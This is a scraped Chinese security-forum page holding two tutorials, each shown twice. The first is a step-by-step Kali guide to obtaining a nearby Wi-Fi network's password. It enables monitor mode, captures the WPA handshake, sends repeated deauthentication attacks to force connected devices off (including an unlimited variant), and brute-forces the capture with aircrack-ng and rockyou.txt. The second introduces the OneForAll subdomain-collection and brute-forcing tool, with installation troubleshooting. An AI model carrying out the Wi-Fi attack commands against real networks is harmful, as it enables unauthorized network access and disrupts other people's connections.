5.1攻击性抓包(原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。那么自然可以抓到包)
获取包的前提是有用户连接此wifi,即我们抓取的包是新用户连接此wifi的过程产生的流量,但是如果没有新用户怎么办?我们不能一直等下去,否则就相当于看运气。那么我们就让想办法让一个已经连接过的设备重新连接。所以需要我们主动发起攻击让其断开网络,这时候我们是一直抓包的,如果设备选择过自动连接或者用户手动连接,那么就可以抓包了。
在第五步的抓包图片下半部分有一个station参数,那里显示的是连接此wifi的设备MAC地址,打开新的shell输入下面的命令。aireplay-ng -0 5 -a C6:F1:28:14:F1:F9 -c xx:xx:xx:xx:xx:xx wlan0mon //-0 5 攻击某个设备的次数,0为无限,-0 5则为攻击五次 -a wifi的MAC地址 -c 连接wifi的设备MAC地址
5.2抓包过程
在做第五步抓包时,由于是后台抓包,我们可能因为看不到抓包过程感到不习惯,或者以为还没有抓到包,而一直等下去,这时候就可以打开一个新的shell窗口,输入下面的命令,方便观察抓包过程aireplay-ng -0 0 -a mac地址 网卡名
6.暴力破解
可以使用kali自带的密码字典(也可以使用自己的字典),路径: /usr/share/wordlists/rockyou.txt.gz,解压命令:gzip -d /usr/share/wordlists/rockyou.txt.gz在shell中输入下面命令,开始破解aircrack-ng -w /usr/share/wordlists/rockyou.txt home-01.cap //-w 字典路径 home-01.cap 第五步抓到的包(具体路径填写第五步的路径)破解成功如下图
四、参考文章
以上内容参考自下面两篇文章,图片也出自此
作者:AI_Engine,链接:https://www.jianshu.com/p/4fa9d154db5d
作者:叛逆不坏小子,链接:https://blog.csdn.net/qq_41203799/article/details/79945133
查看全部
kali通过监听wifi,抓取含有密码的包,最后通过暴力破解获取密码
二、步骤描述
1.购买一张无线网卡,需要具有monitor模式
2.将无线网卡插入物理机,并配置给kali虚拟机
3.监听周围的wifi热点,选择想要获取密码的wifi
4.抓包
5.暴力破解密码
三、过程演示
1. 查看无线网卡是否接入成功,成功会看到wlan0出现
ifconfig -a //或者airmon-ng都可以
2. 开启网卡监听模式
airmon-ng start wlan0 //wlan0是无线网卡
3. 再次查看网卡信息,注意这里一定是mon结尾,否则是你的网卡无monitor模式
ifconfig -a //或者airmon-ng都可以
4. 开始监听周围WiFi热点,显示各个WiFi热点(ctrl C可以停止监听)
airodump-ng wlan0mon
上面图片部分参数的意思:
BSSID:MAC地址。
PWR:信号强度,越小信号越强。
#Data:传输的数据。
CH:信号频道,只有在一个频道才可进行下一步操作。
ESSID:wifi的名称,中文的可能会乱码。
5.抓包
airodump-ng -c 6 --bssid C6:F1:28:14:F1:F9 -w /home wlan0mon //-c 频道(ch) --bssid wifi的MAC地址 -w 用来存储抓包的目录
抓包成功窗口右上角出现WPA handshake,如下图
5.1攻击性抓包(原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。那么自然可以抓到包)
获取包的前提是有用户连接此wifi,即我们抓取的包是新用户连接此wifi的过程产生的流量,但是如果没有新用户怎么办?我们不能一直等下去,否则就相当于看运气。那么我们就让想办法让一个已经连接过的设备重新连接。所以需要我们主动发起攻击让其断开网络,这时候我们是一直抓包的,如果设备选择过自动连接或者用户手动连接,那么就可以抓包了。
在第五步的抓包图片下半部分有一个station参数,那里显示的是连接此wifi的设备MAC地址,打开新的shell输入下面的命令。
aireplay-ng -0 5 -a C6:F1:28:14:F1:F9 -c xx:xx:xx:xx:xx:xx wlan0mon //-0 5 攻击某个设备的次数,0为无限,-0 5则为攻击五次 -a wifi的MAC地址 -c 连接wifi的设备MAC地址
5.2抓包过程
在做第五步抓包时,由于是后台抓包,我们可能因为看不到抓包过程感到不习惯,或者以为还没有抓到包,而一直等下去,这时候就可以打开一个新的shell窗口,输入下面的命令,方便观察抓包过程
aireplay-ng -0 0 -a mac地址 网卡名
6.暴力破解
可以使用kali自带的密码字典(也可以使用自己的字典),路径: /usr/share/wordlists/rockyou.txt.gz,解压命令:
gzip -d /usr/share/wordlists/rockyou.txt.gz在shell中输入下面命令,开始破解
aircrack-ng -w /usr/share/wordlists/rockyou.txt home-01.cap //-w 字典路径 home-01.cap 第五步抓到的包(具体路径填写第五步的路径)破解成功如下图
四、参考文章
以上内容参考自下面两篇文章,图片也出自此
作者:AI_Engine,链接:https://www.jianshu.com/p/4fa9d154db5d
作者:叛逆不坏小子,链接:https://blog.csdn.net/qq_41203799/article/details/79945133
OneForAll功能强大的子域名收集工具
渗透测试 • Einzben 发表了文章 • 0 个评论 • 632 次浏览 • 2020-02-07 18:56
米斯特安全团队OneForAll 简介
在渗透测试中信息的重要性不言而喻,收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
不够强大,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证 fuzz以及信息拓展等功能。不够友好,固然命令行模块比较方便,但是当可选的参数很多,要实现的操作复杂,用命令行模式就有点不够友好,如果有交互良好,高可操作的前端那么使用体验就会好很多。缺少维护,很多工具几年没有更新过一次,issues和PR是啥,不存在的。效率问题,没有利用多进程,多线程以及异步协程技术,速度较慢。为了解决以上痛点,此项目应用而生, oneforall是一款集百家之长,功能强大的全面快速子域收集终极神器。
OneForAll 功能特性[list=1]利用证书透明度收集子域常规检查收集子域(目前有4个模块:域传送漏洞利用axfr,检查跨域策略文件cdx,检查HTTPS证书cert,检查内容安全策略csp,后续会添加检查NSEC记录,NSEC记录等模块)利用网上爬虫档案收集子域利用dns数据集收集子域利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域srv,该模块还有待添加和完善)利用威胁情报平台数据收集子域利用搜索引擎发现子域。在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。处理功能强大,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动移除无效子域,拓展子域的Banner信息,最终支持的导出格式有csv, tsv, json, yaml, html, xls, xlsx, dbf, latex, ods。速度极速,收集模块使用多线程调用,爆破模块使用异步多进程多协[size=18]程,DNS解析和http请求使用异步多协程。[/size]后续计划 各模块支持优化和完善 子域监控(标记每次新发现的子域) 子域收集爬虫实现(包括从JS等静态资源文件中收集子域) 操作强大交互人性的前端界面实现(暂定:前端:Element + 后端:Flask)
安装要求
OneForAll是基于CPython开发的,所以你需要Python环境才能运行,如果你的系统还没有Python环境你可以参考python3安装指南,理论上Python 3.6,3.7和3.8都可以正常运行OneForAll,但是许多测试都是在Python 3.7上进行的,所以推荐你使用Python 3.7版本运行OneForAll。运行以下命令检查Python和pip3版本:python -V
pip3 -V
如果你看到以下类似输出便说明Python环境没有问题:
Python 3.7.4
pip 19.2.2 from C:\Users\shmilylty\AppData\Roaming\Python\Python37\site-packages\pip (pyt
下载步骤
项目地址:<span style="font-size:18px">https://github.com/shmilylty/OneForAll</span>下载
本项目已经在码云(Gitee)镜像了一份,国内推荐使用码云进行克隆比较快:git clone https://gitee.com/shmilylty/OneForAll.git
或者:
git clone https://github.com/shmilylty/OneForAll.git
若使用git
1、
从git官网下载windows版本的git:http://git-scm.com/downloads
或是从该链接下载对应版本:https://github.com/git-for-windows/git/releases/tag/v2.15.0.windows.1
2、一般使用默认设置即可:一路next,git安装完毕!
3、但是如果这时你打开windows的cmd,在里面打git命令会提示“不是内部或外部命令,也不是可运行的程序”,想要直接在windows的cmd里使用git命令要多加如下两步
找到git安装路径中bin的位置,如:D:\Program Files\Git\bin
找到git安装路径中git-core的位置,如:D:\Program Files\Git\libexec\git-core;
4、右键“计算机”->“属性”->“高级系统设置”->“环境变量”->在下方的“系统变量”中找到“path”->选中“path”并选择“编辑”->将找到的bin和git-core路径复制到其中->保存并退出
注:“path”中,每个路径之间要以英文输入状态下的分号——“;”作为间隔
在安装过程中出现的问题
cd OneForAll/
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
此时发现应该其中brotlipy安装失败,只能自行下载并手动安装
下载brotlipy-0.7.0-cp27-cp27m-win_amd64.whl后进行手动安装
pip3 install brotlipy-0.7.0-cp27-cp27m-win_amd64.whl
然后又显示
ERROR: brotlipy-0.7.0-cp27-cp27m-win_amd64.whl is not a supported wheel on this platform.
出现这个问题的原因是版本不匹配,继续查看本机python的版本匹配哪些文件(python 3.x)
import wheel.pep425tags as w
print(w.get_supported())
输出:
[('cp37', 'cp37m', 'win32'), ('cp37', 'none', 'win32'), ('cp37', 'none', 'any'), ('cp3', 'none', 'any'), ('cp36', 'none', 'any'), ('cp35', 'none', 'any'), ('cp34', 'none', 'any'), ('cp33', 'none', 'any'), ('cp32', 'none', 'any'), ('cp31', 'none', 'any'), ('cp30', 'none', 'any'), ('py3', 'none', 'win32'), ('py37', 'none', 'any'), ('py3', 'none', 'any'), ('py36', 'none', 'any'), ('py35', 'none', 'any'), ('py34', 'none', 'any'), ('py33', 'none', 'any'), ('py32', 'none', 'any'), ('py31', 'none', 'any'), ('py30', 'none', 'any')]
下载安装对应的版本文件即可(本机python pip命令匹配的版本是cp37-cp37m-win32.whl而非上文中最开始下的的cp27-cp27m-win_amd64.whl)
手动安装后重新使用命令安装成功
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
cd oneforall/
python oneforall.py --help
使用也很简单,收集和爆破都是一条命令运行脚本就可以了。
python oneforall.py --target example.com run 收集
python aiobrute.py --target example.com run 爆破
查看全部
米斯特安全团队OneForAll 简介
在渗透测试中信息的重要性不言而喻,收集是信息收集中必不可少且非常重要的一环,目前网上也开源了许多子域收集的工具,但是总是存在以下部分问题:
- 不够强大,子域收集的接口不够多,不能做到对批量子域自动收集,没有自动子域解析,验证 fuzz以及信息拓展等功能。
- 不够友好,固然命令行模块比较方便,但是当可选的参数很多,要实现的操作复杂,用命令行模式就有点不够友好,如果有交互良好,高可操作的前端那么使用体验就会好很多。
- 缺少维护,很多工具几年没有更新过一次,issues和PR是啥,不存在的。
- 效率问题,没有利用多进程,多线程以及异步协程技术,速度较慢。
- [list=1]
- 利用证书透明度收集子域
- 常规检查收集子域(目前有4个模块:域传送漏洞利用axfr,检查跨域策略文件cdx,检查HTTPS证书cert,检查内容安全策略csp,后续会添加检查NSEC记录,NSEC记录等模块)
- 利用网上爬虫档案收集子域
- 利用dns数据集收集子域
- 利用DNS查询收集子域(目前有1个模块:通过枚举常见的SRV记录并做查询来收集子域srv,该模块还有待添加和完善)
- 利用威胁情报平台数据收集子域
- 利用搜索引擎发现子域。在搜索模块中除特殊搜索引擎,通用的搜索引擎都支持自动排除搜索,全量搜索,递归搜索。
- 处理功能强大,发现的子域结果支持自动去除,自动DNS解析,HTTP请求探测,自动移除无效子域,拓展子域的Banner信息,最终支持的导出格式有csv, tsv, json, yaml, html, xls, xlsx, dbf, latex, ods。
- 速度极速,收集模块使用多线程调用,爆破模块使用异步多进程多协
- [size=18]程,DNS解析和http请求使用异步多协程。[/size]
- 各模块支持优化和完善
- 子域监控(标记每次新发现的子域)
- 子域收集爬虫实现(包括从JS等静态资源文件中收集子域)
- 操作强大交互人性的前端界面实现(暂定:前端:Element + 后端:Flask)
安装要求
OneForAll是基于CPython开发的,所以你需要Python环境才能运行,如果你的系统还没有Python环境你可以参考python3安装指南,理论上Python 3.6,3.7和3.8都可以正常运行OneForAll,但是许多测试都是在Python 3.7上进行的,所以推荐你使用Python 3.7版本运行OneForAll。运行以下命令检查Python和pip3版本:python -V
pip3 -V
如果你看到以下类似输出便说明Python环境没有问题:
Python 3.7.4
pip 19.2.2 from C:\Users\shmilylty\AppData\Roaming\Python\Python37\site-packages\pip (pyt
下载步骤
项目地址:<span style="font-size:18px">https://github.com/shmilylty/OneForAll</span>下载
本项目已经在码云(Gitee)镜像了一份,国内推荐使用码云进行克隆比较快:git clone https://gitee.com/shmilylty/OneForAll.git
或者:
git clone https://github.com/shmilylty/OneForAll.git
若使用git
1、
从git官网下载windows版本的git:http://git-scm.com/downloads
或是从该链接下载对应版本:https://github.com/git-for-windows/git/releases/tag/v2.15.0.windows.1
2、一般使用默认设置即可:一路next,git安装完毕!
3、但是如果这时你打开windows的cmd,在里面打git命令会提示“不是内部或外部命令,也不是可运行的程序”,想要直接在windows的cmd里使用git命令要多加如下两步
找到git安装路径中bin的位置,如:D:\Program Files\Git\bin
找到git安装路径中git-core的位置,如:D:\Program Files\Git\libexec\git-core;
4、右键“计算机”->“属性”->“高级系统设置”->“环境变量”->在下方的“系统变量”中找到“path”->选中“path”并选择“编辑”->将找到的bin和git-core路径复制到其中->保存并退出
注:“path”中,每个路径之间要以英文输入状态下的分号——“;”作为间隔
在安装过程中出现的问题
cd OneForAll/
python -m pip install --user -U pip setuptools wheel -i https://mirrors.aliyun.com/pypi/simple/
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
此时发现应该其中brotlipy安装失败,只能自行下载并手动安装
下载brotlipy-0.7.0-cp27-cp27m-win_amd64.whl后进行手动安装
pip3 install brotlipy-0.7.0-cp27-cp27m-win_amd64.whl
然后又显示
ERROR: brotlipy-0.7.0-cp27-cp27m-win_amd64.whl is not a supported wheel on this platform.
出现这个问题的原因是版本不匹配,继续查看本机python的版本匹配哪些文件(python 3.x)
import wheel.pep425tags as w
print(w.get_supported())
输出:
[('cp37', 'cp37m', 'win32'), ('cp37', 'none', 'win32'), ('cp37', 'none', 'any'), ('cp3', 'none', 'any'), ('cp36', 'none', 'any'), ('cp35', 'none', 'any'), ('cp34', 'none', 'any'), ('cp33', 'none', 'any'), ('cp32', 'none', 'any'), ('cp31', 'none', 'any'), ('cp30', 'none', 'any'), ('py3', 'none', 'win32'), ('py37', 'none', 'any'), ('py3', 'none', 'any'), ('py36', 'none', 'any'), ('py35', 'none', 'any'), ('py34', 'none', 'any'), ('py33', 'none', 'any'), ('py32', 'none', 'any'), ('py31', 'none', 'any'), ('py30', 'none', 'any')]
下载安装对应的版本文件即可(本机python pip命令匹配的版本是cp37-cp37m-win32.whl而非上文中最开始下的的cp27-cp27m-win_amd64.whl)
手动安装后重新使用命令安装成功
pip3 install --user -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/
cd oneforall/
python oneforall.py --help
使用也很简单,收集和爆破都是一条命令运行脚本就可以了。
python oneforall.py --target example.com run 收集
python aiobrute.py --target example.com run 爆破